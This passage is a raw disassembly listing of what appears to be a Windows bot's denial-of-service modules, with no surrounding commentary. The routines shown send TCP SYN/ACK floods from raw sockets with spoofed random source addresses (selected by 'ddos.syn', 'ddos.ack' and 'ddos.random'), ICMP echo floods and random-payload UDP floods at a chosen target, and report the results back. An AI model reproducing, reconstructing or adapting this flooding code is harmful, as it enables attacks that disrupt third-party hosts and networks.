[eax], 0Dh jnz short loc_4131A1 mov byte ptr [eax], 20h loc_4131A1: ; CODE XREF: sub_412F1F+27Dj cmp byte ptr [eax], 0Ah jnz short loc_4131A9 mov byte ptr [eax], 20h loc_4131A9: ; CODE XREF: sub_412F1F+285j lea eax, [ebp+var_1138C] inc edi push eax call sub_41BC70 cmp edi, eax pop ecx jl short loc_413192 loc_4131BB: ; CODE XREF: sub_412F1F+271j cmp [ebp+var_4], 50h jz loc_41325D cmp [ebp+arg_0], 50h jz loc_41325D lea eax, [ebp+var_1138C] push eax call sub_412C1F test al, al pop ecx lea eax, [ebp+var_1138C] push eax jz short loc_413205 push [ebp+arg_0] lea eax, [ebp+var_BB8] push eax lea eax, [ebp+var_13B8] push [ebp+var_4] push eax push offset unk_44C9F4 jmp loc_41328E ; --------------------------------------------------------------------------- loc_413205: ; CODE XREF: sub_412F1F+2C6j call sub_412D36 test al, al pop ecx lea eax, [ebp+var_1138C] push eax jz short loc_413231 push [ebp+arg_0] lea eax, [ebp+var_BB8] push eax lea eax, [ebp+var_13B8] push [ebp+var_4] push eax push offset unk_44CA28 jmp short loc_41328E ; --------------------------------------------------------------------------- loc_413231: ; CODE XREF: sub_412F1F+2F5j call sub_412DAC test al, al pop ecx jz short loc_41325D lea eax, [ebp+var_1138C] push eax lea eax, [ebp+var_BB8] push [ebp+arg_0] push eax lea eax, [ebp+var_13B8] push [ebp+var_4] push eax push offset unk_44CA5C jmp short loc_41328E ; --------------------------------------------------------------------------- loc_41325D: ; CODE XREF: sub_412F1F+2A0j ; sub_412F1F+2AAj ... lea eax, [ebp+var_1138C] push eax call sub_412E33 test al, al pop ecx lea eax, [ebp+var_1138C] push eax jz short loc_4132CC push [ebp+arg_0] lea eax, [ebp+var_BB8] push eax lea eax, [ebp+var_13B8] push [ebp+var_4] push eax push offset unk_44CA90 loc_41328E: ; CODE XREF: sub_412F1F+2E1j ; sub_412F1F+310j ... lea eax, [ebp+var_2B8] push esi push eax call sub_41EC30 add esp, 20h cmp [ebp+var_2C], ebx jnz loc_4130C6 push ebx lea eax, [ebp+var_2B8] push [ebp+var_30] push eax lea eax, [ebp+var_B4] push eax push [ebp+var_B8] call sub_409C75 add esp, 14h jmp loc_4130C6 ; --------------------------------------------------------------------------- loc_4132CC: ; CODE XREF: sub_412F1F+354j call sub_412EBA test al, al pop ecx jz loc_4130C6 lea eax, [ebp+var_1138C] push eax lea eax, [ebp+var_BB8] push [ebp+arg_0] push eax lea eax, [ebp+var_13B8] push [ebp+var_4] push eax push offset unk_44CAC8 jmp short loc_41328E sub_412F1F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4132FC proc near ; DATA XREF: sub_401C87+65EDo var_494 = byte ptr -494h var_294 = dword ptr -294h var_290 = dword ptr -290h var_28C = byte ptr -28Ch var_20C = byte ptr -20Ch var_18C = byte ptr -18Ch var_10C = byte ptr -10Ch var_8C = byte ptr -8Ch var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 494h mov eax, [ebp+arg_0] push esi push edi mov ecx, 0A5h mov esi, eax lea edi, [ebp+var_294] rep movsd mov dword ptr [eax+290h], 1 call ds:dword_4F537C ; GetTickCount push eax call sub_41EB60 lea eax, [ebp+var_18C] push eax lea eax, [ebp+var_8C] push eax lea eax, [ebp+var_20C] push eax lea eax, [ebp+var_28C] push eax call sub_4136E4 push eax lea eax, [ebp+var_494] push offset unk_44CB00 push eax call sub_41EA60 xor esi, esi add esp, 20h cmp [ebp+var_8], esi jnz short loc_41338C push esi lea eax, [ebp+var_494] push [ebp+var_C] push eax lea eax, [ebp+var_10C] push eax push [ebp+var_294] call sub_409C75 add esp, 14h loc_41338C: ; CODE XREF: sub_4132FC+6Ej lea eax, [ebp+var_494] push eax call sub_415A3C push [ebp+var_290] call sub_40B9A7 pop ecx pop ecx push esi call ds:dword_4F53A0 ; ExitThread pop edi pop esi sub_4132FC endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4133AE proc near ; CODE XREF: sub_4136E4+40p var_284 = byte ptr -284h var_F4 = byte ptr -0F4h var_B4 = byte ptr -0B4h var_B3 = byte ptr -0B3h var_A0 = byte ptr -0A0h var_94 = byte ptr -94h var_8C = byte ptr -8Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = byte ptr -70h var_6F = byte ptr -6Fh var_6E = word ptr -6Eh var_58 = word ptr -58h var_56 = word ptr -56h var_54 = dword ptr -54h var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = byte ptr -34h var_32 = word ptr -32h var_30 = word ptr -30h var_2E = word ptr -2Eh var_2C = byte ptr -2Ch var_2B = byte ptr -2Bh var_2A = word ptr -2Ah var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_7 = byte ptr -7 var_6 = word ptr -6 var_4 = word ptr -4 var_2 = word ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 284h push ebx push edi push 0Eh xor ebx, ebx pop ecx xor eax, eax lea edi, [ebp+var_B3] mov [ebp+var_B4], bl rep stosd stosw stosb lea eax, [ebp+var_284] push eax push 202h call ds:dword_4E2F38 ; WSAStartup test eax, eax jz short loc_4133EE xor eax, eax jmp loc_4136B7 ; --------------------------------------------------------------------------- loc_4133EE: ; CODE XREF: sub_4133AE+37j xor edi, edi inc edi push edi push ebx push ebx push 0FFh push 3 push 2 call ds:dword_4E306C ; WSASocketA cmp eax, 0FFFFFFFFh mov [ebp+var_20], eax jz loc_4136AF push esi lea ecx, [ebp+var_40] push 4 push ecx push 2 push ebx push eax mov [ebp+var_40], edi call ds:dword_4E2FA8 ; setsockopt cmp eax, 0FFFFFFFFh jz loc_4136A5 push [ebp+arg_C] mov [ebp+var_58], 2 call ds:dword_4E2FC8 ; htons mov esi, [ebp+arg_0] push 28h mov [ebp+var_56], ax mov [ebp+var_54], esi mov [ebp+var_34], 45h call ds:dword_4E2FC8 ; htons push [ebp+arg_C] mov [ebp+var_32], ax mov [ebp+var_30], di mov [ebp+var_2E], bx mov [ebp+var_2C], 80h mov [ebp+var_2B], 6 mov [ebp+var_2A], bx mov [ebp+var_24], esi call ds:dword_4E2FC8 ; htons mov [ebp+var_12], ax call sub_41EB70 movzx eax, ax cdq mov ecx, 401h idiv ecx push edx call ds:dword_4E2FC8 ; htons push 12345678h mov [ebp+var_14], ax call ds:dword_4E2FC4 ; htonl push offset aDdos_syn_0 ; "ddos.syn" mov [ebp+var_10], eax push [ebp+arg_8] call sub_41F7E0 pop ecx test eax, eax pop ecx jnz short loc_4134BE mov [ebp+var_C], ebx mov [ebp+var_7], 2 jmp short loc_413512 ; --------------------------------------------------------------------------- loc_4134BE: ; CODE XREF: sub_4133AE+105j push offset aDdos_ack_0 ; "ddos.ack" push [ebp+arg_8] call sub_41F7E0 pop ecx test eax, eax pop ecx jnz short loc_4134DA mov [ebp+var_C], ebx mov [ebp+var_7], 10h jmp short loc_413512 ; --------------------------------------------------------------------------- loc_4134DA: ; CODE XREF: sub_4133AE+121j push offset aDdos_random_0 ; "ddos.random" push [ebp+arg_8] call sub_41F7E0 pop ecx test eax, eax pop ecx jnz short loc_413512 call sub_41EB70 push 3 cdq pop ecx idiv ecx mov [ebp+var_C], edx call sub_41EB70 push 2 cdq pop ecx idiv ecx neg edx sbb dl, dl and dl, 0Eh add dl, cl mov [ebp+var_7], dl loc_413512: ; CODE XREF: sub_4133AE+10Ej ; sub_4133AE+12Aj ... push 4000h mov [ebp+var_8], 50h call ds:dword_4E2FC8 ; htons mov [ebp+var_6], ax lea eax, [ebp+var_48] push eax mov [ebp+var_2], bx mov [ebp+arg_8], ebx call ds:dword_4F540C ; QueryPerformanceFrequency lea eax, [ebp+var_1C] push eax call ds:dword_4F5408 ; QueryPerformanceCounter push [ebp+var_44] mov eax, [ebp+arg_10] cdq push [ebp+var_48] push edx push eax call sub_421180 add eax, [ebp+var_1C] push 14h pop esi adc edx, [ebp+var_18] mov [ebp+var_3C], eax mov [ebp+var_38], edx loc_413560: ; CODE XREF: sub_4133AE+2E2j ; sub_4133AE+2EEj mov [ebp+var_4], bx call sub_41EB70 cdq mov ecx, 3E9h idiv ecx add edx, 3E8h push edx call ds:dword_4E2FC8 ; htons mov [ebp+var_14], ax call sub_41EB70 mov edi, eax shl edi, 10h call sub_41EB70 or edi, eax push edi call ds:dword_4E2FC8 ; htons movzx eax, ax mov [ebp+var_10], eax mov eax, [ebp+arg_4] inc [ebp+arg_4] push eax call ds:dword_4E2FC4 ; htonl mov [ebp+var_28], eax mov eax, [ebp+var_24] push esi mov [ebp+var_74], eax mov [ebp+var_70], bl mov [ebp+var_6F], 6 call ds:dword_4E2FC8 ; htons mov [ebp+var_6E], ax mov eax, [ebp+var_28] mov [ebp+var_78], eax lea eax, [ebp+var_78] push 20h push eax lea eax, [ebp+var_B4] push eax call sub_41FBF0 lea eax, [ebp+var_14] push esi push eax lea eax, [ebp+var_94] push eax call sub_41FBF0 lea eax, [ebp+var_B4] push 34h push eax call sub_40AF06 mov [ebp+var_4], ax lea eax, [ebp+var_34] push esi push eax lea eax, [ebp+var_B4] push eax call sub_41FBF0 lea eax, [ebp+var_14] push esi push eax lea eax, [ebp+var_A0] push eax call sub_41FBF0 push 4 lea eax, [ebp+var_8C] push ebx push eax call sub_41E4B0 add esp, 44h lea eax, [ebp+var_B4] push 28h push eax call sub_40AF06 mov [ebp+var_2A], ax lea eax, [ebp+var_34] push esi push eax lea eax, [ebp+var_B4] push eax call sub_41FBF0 add esp, 14h lea eax, [ebp+var_58] push 10h push eax push ebx lea eax, [ebp+var_B4] push 28h push eax push [ebp+var_20] call ds:dword_4E302C ; sendto cmp eax, 0FFFFFFFFh jz short loc_4136BB add [ebp+arg_8], eax lea eax, [ebp+var_1C] push eax call ds:dword_4F5408 ; QueryPerformanceCounter mov eax, [ebp+var_18] cmp eax, [ebp+var_38] jg short loc_4136A2 jl loc_413560 mov eax, [ebp+var_1C] cmp eax, [ebp+var_3C] jb loc_413560 loc_4136A2: ; CODE XREF: sub_4133AE+2E0j mov ebx, [ebp+arg_8] loc_4136A5: ; CODE XREF: sub_4133AE+78j ; sub_4133AE+334j push [ebp+var_20] call ds:dword_4E3060 ; closesocket pop esi loc_4136AF: ; CODE XREF: sub_4133AE+5Bj call ds:dword_4E2F20 ; WSACleanup mov eax, ebx loc_4136B7: ; CODE XREF: sub_4133AE+3Bj pop edi pop ebx leave retn ; --------------------------------------------------------------------------- loc_4136BB: ; CODE XREF: sub_4133AE+2CBj call ds:dword_4E2F5C ; WSAGetLastError push eax lea eax, [ebp+var_F4] push offset dword_44CB4C push eax call sub_41EA60 lea eax, [ebp+var_F4] push eax call sub_415A3C add esp, 10h jmp short loc_4136A5 sub_4133AE endp ; =============== S U B R O U T I N E ======================================= sub_4136E4 proc near ; CODE XREF: sub_4132FC+4Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx push esi push edi push [esp+0Ch+arg_0] call sub_40AD91 push [esp+10h+arg_4] mov esi, eax call sub_41E710 push [esp+14h+arg_C] mov ebx, eax call sub_41E710 mov edi, eax call sub_41EB70 cdq mov ecx, 200h push edi idiv ecx push ebx push [esp+20h+arg_8] lea eax, [edx+esi+100h] push eax push esi call sub_4133AE add esp, 20h test eax, eax jnz short loc_413731 inc eax loc_413731: ; CODE XREF: sub_4136E4+4Aj cdq mov ecx, 3E8h idiv ecx cdq idiv edi pop edi pop esi pop ebx retn sub_4136E4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413740 proc near ; DATA XREF: sub_401C87+67DDo var_3BC = byte ptr -3BCh var_1BC = dword ptr -1BCh var_1B8 = byte ptr -1B8h var_138 = byte ptr -138h var_B8 = byte ptr -0B8h var_38 = dword ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 3BCh mov eax, [ebp+arg_0] push ebx push esi push edi push 68h xor ebx, ebx pop ecx mov esi, eax lea edi, [ebp+var_1BC] push 0FFh inc ebx push 3 rep movsd push 2 mov [eax+19Ch], ebx call ds:dword_4E3048 ; socket cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jnz short loc_4137DB call ds:dword_4E2F5C ; WSAGetLastError push eax lea eax, [ebp+var_3BC] push offset unk_44CB68 push eax call sub_41EA60 xor edi, edi add esp, 0Ch cmp [ebp+var_24], edi jnz short loc_4137BE push edi lea eax, [ebp+var_3BC] push [ebp+var_28] push eax lea eax, [ebp+var_B8] push eax push [ebp+var_1BC] call sub_409C75 add esp, 14h loc_4137BE: ; CODE XREF: sub_413740+5Cj lea eax, [ebp+var_3BC] push eax call sub_415A3C push [ebp+var_38] call sub_40B9A7 pop ecx pop ecx push edi call ds:dword_4F53A0 ; ExitThread loc_4137DB: ; CODE XREF: sub_413740+3Aj lea ecx, [ebp+var_C] push 4 push ecx xor edi, edi push 2 push edi push eax mov [ebp+var_C], ebx call ds:dword_4E2FA8 ; setsockopt cmp eax, 0FFFFFFFFh jnz short loc_413852 call ds:dword_4E2F5C ; WSAGetLastError push eax lea eax, [ebp+var_3BC] push offset unk_44CB94 push eax call sub_41EA60 add esp, 0Ch cmp [ebp+var_24], edi jnz short loc_413835 push edi lea eax, [ebp+var_3BC] push [ebp+var_28] push eax lea eax, [ebp+var_B8] push eax push [ebp+var_1BC] call sub_409C75 add esp, 14h loc_413835: ; CODE XREF: sub_413740+D3j lea eax, [ebp+var_3BC] push eax call sub_415A3C push [ebp+var_38] call sub_40B9A7 pop ecx pop ecx push edi call ds:dword_4F53A0 ; ExitThread loc_413852: ; CODE XREF: sub_413740+B3j lea eax, [ebp+var_1B8] push eax call ds:dword_4E3008 ; inet_addr cmp eax, 0FFFFFFFFh jnz short loc_4138B9 lea eax, [ebp+var_3BC] push offset unk_44CBC4 push eax call sub_41EA60 cmp [ebp+var_24], edi pop ecx pop ecx jnz short loc_41389C push edi lea eax, [ebp+var_3BC] push [ebp+var_28] push eax lea eax, [ebp+var_B8] push eax push [ebp+var_1BC] call sub_409C75 add esp, 14h loc_41389C: ; CODE XREF: sub_413740+13Aj lea eax, [ebp+var_3BC] push eax call sub_415A3C push [ebp+var_38] call sub_40B9A7 pop ecx pop ecx push edi call ds:dword_4F53A0 ; ExitThread loc_4138B9: ; CODE XREF: sub_413740+122j push 10h lea eax, [ebp+var_1C] push edi push eax call sub_41E4B0 add esp, 0Ch mov [ebp+var_1C], 2 push edi call ds:dword_4E2FC8 ; htons mov [ebp+var_1A], ax lea eax, [ebp+var_1B8] push eax call ds:dword_4E3008 ; inet_addr mov esi, ds:dword_4F537C mov [ebp+var_18], eax mov [ebp+arg_0], edi call esi ; GetTickCount mov [ebp+var_8], eax jmp loc_413A1A ; --------------------------------------------------------------------------- loc_4138FC: ; CODE XREF: sub_413740+2EBj push 41Ch mov ds:byte_4E5D30, 45h call ds:dword_4E2FC8 ; htons cmp [ebp+var_2C], edi mov ds:word_4E5D32, ax mov ds:word_4E5D34, bx mov ds:word_4E5D36, di mov ds:byte_4E5D38, 80h mov ds:byte_4E5D39, bl mov ds:word_4E5D3A, di jz short loc_41396B call sub_41EB70 mov ebx, eax shl ebx, 8 call sub_41EB70 add ebx, eax shl ebx, 8 call sub_41EB70 add ebx, eax shl ebx, 8 call sub_41EB70 add ebx, eax mov ds:dword_4E5D3C, ebx xor ebx, ebx inc ebx jmp short loc_413983 ; --------------------------------------------------------------------------- loc_41396B: ; CODE XREF: sub_413740+1F9j push [ebp+var_1BC] call sub_40AEAD pop ecx push eax call ds:dword_4E3008 ; inet_addr mov ds:dword_4E5D3C, eax loc_413983: ; CODE XREF: sub_413740+229j mov eax, [ebp+var_18] mov ds:dword_4E5D40, eax call sub_41EB70 cdq mov ecx, 100h idiv ecx mov ds:byte_4E5D44, dl call sub_41EB70 cdq mov ecx, 100h idiv ecx mov ds:byte_4E5D45, dl call sub_41EB70 cdq mov ecx, 0F0h push 400h idiv ecx mov ds:word_4E5D46, di mov ds:word_4E5D4A, bx inc edx mov ds:word_4E5D48, dx call sub_41EB70 cdq mov ecx, 0FFh idiv ecx push edx push offset dword_4E5D4C call sub_41E4B0 add esp, 0Ch lea eax, [ebp+var_1C] push 10h push eax push edi push 41Ch push offset byte_4E5D30 push [ebp+var_4] call ds:dword_4E302C ; sendto cmp eax, 0FFFFFFFFh jz loc_413AB6 inc [ebp+arg_0] loc_413A1A: ; CODE XREF: sub_413740+1B7j call esi ; GetTickCount sub eax, [ebp+var_8] mov ecx, 3E8h xor edx, edx div ecx cmp eax, [ebp+var_30] jbe loc_4138FC push [ebp+var_4] call ds:dword_4E3060 ; closesocket mov eax, [ebp+arg_0] xor edx, edx imul eax, 3Ch mov ecx, eax shr eax, 0Ah div [ebp+var_30] shr ecx, 14h push ecx push eax lea eax, [ebp+var_1B8] push [ebp+arg_0] push eax lea eax, [ebp+var_138] push eax lea eax, [ebp+var_3BC] push offset unk_44CBE8 push eax call sub_41EA60 add esp, 1Ch cmp [ebp+var_24], edi jnz short loc_413A99 push edi lea eax, [ebp+var_3BC] push [ebp+var_28] push eax lea eax, [ebp+var_B8] push eax push [ebp+var_1BC] call sub_409C75 add esp, 14h loc_413A99: ; CODE XREF: sub_413740+337j lea eax, [ebp+var_3BC] push eax call sub_415A3C push [ebp+var_38] call sub_40B9A7 pop ecx pop ecx push edi call ds:dword_4F53A0 ; ExitThread loc_413AB6: ; CODE XREF: sub_413740+2D1j push [ebp+var_4] call ds:dword_4E3060 ; closesocket call ds:dword_4E2F5C ; WSAGetLastError push eax lea eax, [ebp+var_1B8] push [ebp+arg_0] push eax push offset unk_44CC38 lea eax, [ebp+var_3BC] push 200h push eax call sub_41EC30 add esp, 18h cmp [ebp+var_24], edi jnz short loc_413B0E push edi lea eax, [ebp+var_3BC] push [ebp+var_28] push eax lea eax, [ebp+var_B8] push eax push [ebp+var_1BC] call sub_409C75 add esp, 14h loc_413B0E: ; CODE XREF: sub_413740+3ACj lea eax, [ebp+var_3BC] push eax call sub_415A3C push [ebp+var_38] call sub_40B9A7 pop ecx pop ecx push edi call ds:dword_4F53A0 ; ExitThread sub_413740 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413B2B proc near ; DATA XREF: sub_401C87+55ADo var_10320 = byte ptr -10320h var_344 = byte ptr -344h var_144 = dword ptr -144h var_140 = byte ptr -140h var_C0 = byte ptr -0C0h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = byte ptr -20h var_18 = dword ptr -18h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 10320h call sub_41EF80 mov eax, [ebp+arg_0] push ebx push esi push edi push 49h mov esi, eax pop ecx lea edi, [ebp+var_144] rep movsd xor edi, edi inc edi mov [eax+120h], edi call ds:dword_4E2F50 ; IcmpCreateFile mov [ebp+arg_0], eax lea eax, [ebp+var_C0] push eax call ds:dword_4E3008 ; inet_addr mov esi, eax xor ebx, ebx xor eax, eax cmp esi, 0FFFFFFFFh jnz short loc_413B86 lea eax, [ebp+var_C0] push eax call ds:dword_4E304C ; gethostbyname cmp eax, ebx jz short loc_413B8C loc_413B86: ; CODE XREF: sub_413B2B+48j cmp [ebp+arg_0], 0FFFFFFFFh jnz short loc_413BE9 loc_413B8C: ; CODE XREF: sub_413B2B+59j lea eax, [ebp+var_C0] push eax lea eax, [ebp+var_344] push offset unk_44CC80 push eax call sub_41EA60 add esp, 0Ch cmp [ebp+var_28], ebx jnz short loc_413BCC push ebx lea eax, [ebp+var_344] push [ebp+var_2C] push eax lea eax, [ebp+var_140] push eax push [ebp+var_144] call sub_409C75 add esp, 14h loc_413BCC: ; CODE XREF: sub_413B2B+7Fj lea eax, [ebp+var_344] push eax call sub_415A3C push [ebp+var_30] call sub_40B9A7 pop ecx pop ecx push edi call ds:dword_4F53A0 ; ExitThread loc_413BE9: ; CODE XREF: sub_413B2B+5Fj cmp eax, ebx jz short loc_413BF9 mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] mov [ebp+var_4], eax jmp short loc_413BFC ; --------------------------------------------------------------------------- loc_413BF9: ; CODE XREF: sub_413B2B+C0j mov [ebp+var_4], esi loc_413BFC: ; CODE XREF: sub_413B2B+CCj push 1Ch lea eax, [ebp+var_20] push ebx push eax call sub_41E4B0 or [ebp+var_18], 0FFFFFFFFh mov eax, 0FFDCh add esp, 0Ch cmp [ebp+var_3C], eax jle short loc_413C1C mov [ebp+var_3C], eax loc_413C1C: ; CODE XREF: sub_413B2B+ECj cmp [ebp+var_38], edi jge short loc_413C24 mov [ebp+var_38], edi loc_413C24: ; CODE XREF: sub_413B2B+F4j xor esi, esi cmp [ebp+var_40], ebx jle short loc_413C51 loc_413C2B: ; CODE XREF: sub_413B2B+124j push [ebp+var_38] lea eax, [ebp+var_20] push 1Ch push eax push ebx lea eax, [ebp+var_10320] push [ebp+var_3C] push eax push [ebp+var_4] push [ebp+arg_0] call ds:dword_4E2EE0 ; IcmpSendEcho inc esi cmp esi, [ebp+var_40] jl short loc_413C2B loc_413C51: ; CODE XREF: sub_413B2B+FEj push [ebp+arg_0] call ds:dword_4E307C ; IcmpCloseHandle lea eax, [ebp+var_C0] push eax lea eax, [ebp+var_344] push offset unk_44CCA8 push eax call sub_41EA60 add esp, 0Ch cmp [ebp+var_28], ebx jnz short loc_413C9A push ebx lea eax, [ebp+var_344] push [ebp+var_2C] push eax lea eax, [ebp+var_140] push eax push [ebp+var_144] call sub_409C75 add esp, 14h loc_413C9A: ; CODE XREF: sub_413B2B+14Dj lea eax, [ebp+var_344] push eax call sub_415A3C push [ebp+var_30] call sub_40B9A7 pop ecx pop ecx push ebx call ds:dword_4F53A0 ; ExitThread sub_413B2B endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413CB7 proc near ; DATA XREF: sub_401C87+5803o var_10312 = byte ptr -10312h var_10310 = byte ptr -10310h var_334 = byte ptr -334h var_134 = dword ptr -134h var_130 = byte ptr -130h var_B0 = byte ptr -0B0h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 10310h call sub_41EF80 mov eax, [ebp+arg_0] push ebx push esi push edi push 49h mov esi, eax pop ecx lea edi, [ebp+var_134] rep movsd xor esi, esi inc esi mov [eax+120h], esi call ds:dword_4F537C ; GetTickCount push eax call sub_41EB60 pop ecx push 11h push 2 push 2 call ds:dword_4E3048 ; socket mov ebx, eax xor edi, edi push 10h lea eax, [ebp+var_10] push edi push eax call sub_41E4B0 add esp, 0Ch lea eax, [ebp+var_B0] mov [ebp+var_10], 2 push eax call ds:dword_4E3008 ; inet_addr cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jnz short loc_413D9C lea eax, [ebp+var_B0] push eax call ds:dword_4E304C ; gethostbyname cmp eax, edi jnz short loc_413D95 lea eax, [ebp+var_B0] push eax lea eax, [ebp+var_334] push offset unk_44CCD4 push eax call sub_41EA60 add esp, 0Ch cmp [ebp+var_18], edi jnz short loc_413D78 push edi lea eax, [ebp+var_334] push [ebp+var_1C] push eax lea eax, [ebp+var_130] push eax push [ebp+var_134] call sub_409C75 add esp, 14h loc_413D78: ; CODE XREF: sub_413CB7+9Fj lea eax, [ebp+var_334] push eax call sub_415A3C push [ebp+var_20] call sub_40B9A7 pop ecx pop ecx push esi call ds:dword_4F53A0 ; ExitThread loc_413D95: ; CODE XREF: sub_413CB7+7Fj mov eax, [eax+0Ch] mov eax, [eax] jmp short loc_413D9F ; --------------------------------------------------------------------------- loc_413D9C: ; CODE XREF: sub_413CB7+6Ej lea eax, [ebp+arg_0] loc_413D9F: ; CODE XREF: sub_413CB7+E3j mov eax, [eax] cmp [ebp+var_24], edi mov [ebp+var_C], eax jnz short loc_413DBA call sub_41EB70 cdq mov ecx, 0FFDCh idiv ecx inc edx push edx jmp short loc_413DBD ; --------------------------------------------------------------------------- loc_413DBA: ; CODE XREF: sub_413CB7+F0j push [ebp+var_24] loc_413DBD: ; CODE XREF: sub_413CB7+101j call ds:dword_4E2FC8 ; htons cmp [ebp+var_24], esi mov [ebp+var_E], ax jge short loc_413DCF mov [ebp+var_24], esi loc_413DCF: ; CODE XREF: sub_413CB7+113j mov eax, 0FFFFh cmp [ebp+var_24], eax jle short loc_413DDC mov [ebp+var_24], eax loc_413DDC: ; CODE XREF: sub_413CB7+120j mov eax, [ebp+var_30] push 0Ah cdq pop ecx idiv ecx cmp [ebp+var_28], edi mov [ebp+var_30], eax jnz short loc_413DF0 mov [ebp+var_28], esi loc_413DF0: ; CODE XREF: sub_413CB7+134j xor esi, esi cmp [ebp+var_2C], edi jle short loc_413E69 loc_413DF7: ; CODE XREF: sub_413CB7+158j call sub_41EB70 cdq mov ecx, 0FFh idiv ecx inc esi cmp esi, [ebp+var_2C] mov [ebp+esi-10311h], dl jl short loc_413DF7 jmp short loc_413E69 ; --------------------------------------------------------------------------- loc_413E13: ; CODE XREF: sub_413CB7+1B5j dec [ebp+var_30] push 0Bh pop esi loc_413E19: ; CODE XREF: sub_413CB7+192j lea eax, [ebp+var_10] push 10h push eax push edi call sub_41EB70 push 0Ah cdq pop ecx idiv ecx mov eax, [ebp+var_2C] sub eax, edx push eax lea eax, [ebp+var_10310] push eax push ebx call ds:dword_4E302C ; sendto push [ebp+var_28] call ds:dword_4F534C ; Sleep dec esi jnz short loc_413E19 cmp [ebp+var_24], edi jnz short loc_413E69 call sub_41EB70 cdq mov ecx, 0FFDCh idiv ecx inc edx push edx call ds:dword_4E2FC8 ; htons mov [ebp+var_E], ax loc_413E69: ; CODE XREF: sub_413CB7+13Ej ; sub_413CB7+15Aj ... cmp [ebp+var_30], edi jg short loc_413E13 dec [ebp+var_30] lea eax, [ebp+var_B0] push eax lea eax, [ebp+var_334] push offset unk_44CCFC push eax call sub_41EA60 add esp, 0Ch cmp [ebp+var_18], edi jnz short loc_413EB1 push edi lea eax, [ebp+var_334] push [ebp+var_1C] push eax lea eax, [ebp+var_130] push eax push [ebp+var_134] call sub_409C75 add esp, 14h loc_413EB1: ; CODE XREF: sub_413CB7+1D8j lea eax, [ebp+var_334] push eax call sub_415A3C push [ebp+var_20] call sub_40B9A7 pop ecx pop ecx push edi call ds:dword_4F53A0 ; ExitThread sub_413CB7 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413ECE proc near ; DATA XREF: sub_401C87+4E73o var_414 = byte ptr -414h var_214 = dword ptr -214h var_210 = byte ptr -210h var_190 = byte ptr -190h var_110 = byte ptr -110h var_90 = byte ptr -90h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 414h mov eax, [ebp+arg_0] push esi push edi mov ecx, 85h mov esi, eax lea edi, [ebp+var_214] rep movsd mov dword ptr [eax+210h], 1 lea eax, [ebp+var_110] push eax lea eax, [ebp+var_190] push eax lea eax, [ebp+var_210] push eax call sub_414024 push eax lea eax, [ebp+var_414] push offset dword_44CD28 push eax call sub_41EA60 xor esi, esi add esp, 18h cmp [ebp+var_8], esi jnz short loc_413F4B push esi lea eax, [ebp+var_414] push [ebp+var_C] push eax lea eax, [ebp+var_90] push eax push [ebp+var_214] call sub_409C75 add esp, 14h loc_413F4B: ; CODE XREF: sub_413ECE+5Bj lea eax, [ebp+var_414] push eax call sub_415A3C push [ebp+var_10] call sub_40B9A7 pop ecx pop ecx push esi call ds:dword_4F53A0 ; ExitThread pop edi pop esi sub_413ECE endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413F6A proc near ; CODE XREF: sub_414024+27p var_654 = dword ptr -654h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 654h push 10h lea eax, [ebp+var_14] push 0 push eax call sub_41E4B0 add esp, 0Ch mov [ebp+var_14], 2 push [ebp+arg_4] call ds:dword_4E2FC8 ; htons mov [ebp+var_12], ax mov eax, [ebp+arg_0] mov [ebp+var_10], eax mov eax, [ebp+arg_8] test eax, eax mov [ebp+var_4], 1 jle short loc_414020 push esi push edi mov [ebp+arg_4], eax mov edi, 190h loc_413FB4: ; CODE XREF: sub_413F6A+B2j xor esi, esi loc_413FB6: ; CODE XREF: sub_413F6A+77j push 0 push 1 push 2 call ds:dword_4F553C ; socket cmp eax, 0FFFFFFFFh mov [ebp+esi*4+var_654], eax jz short loc_413FDE lea ecx, 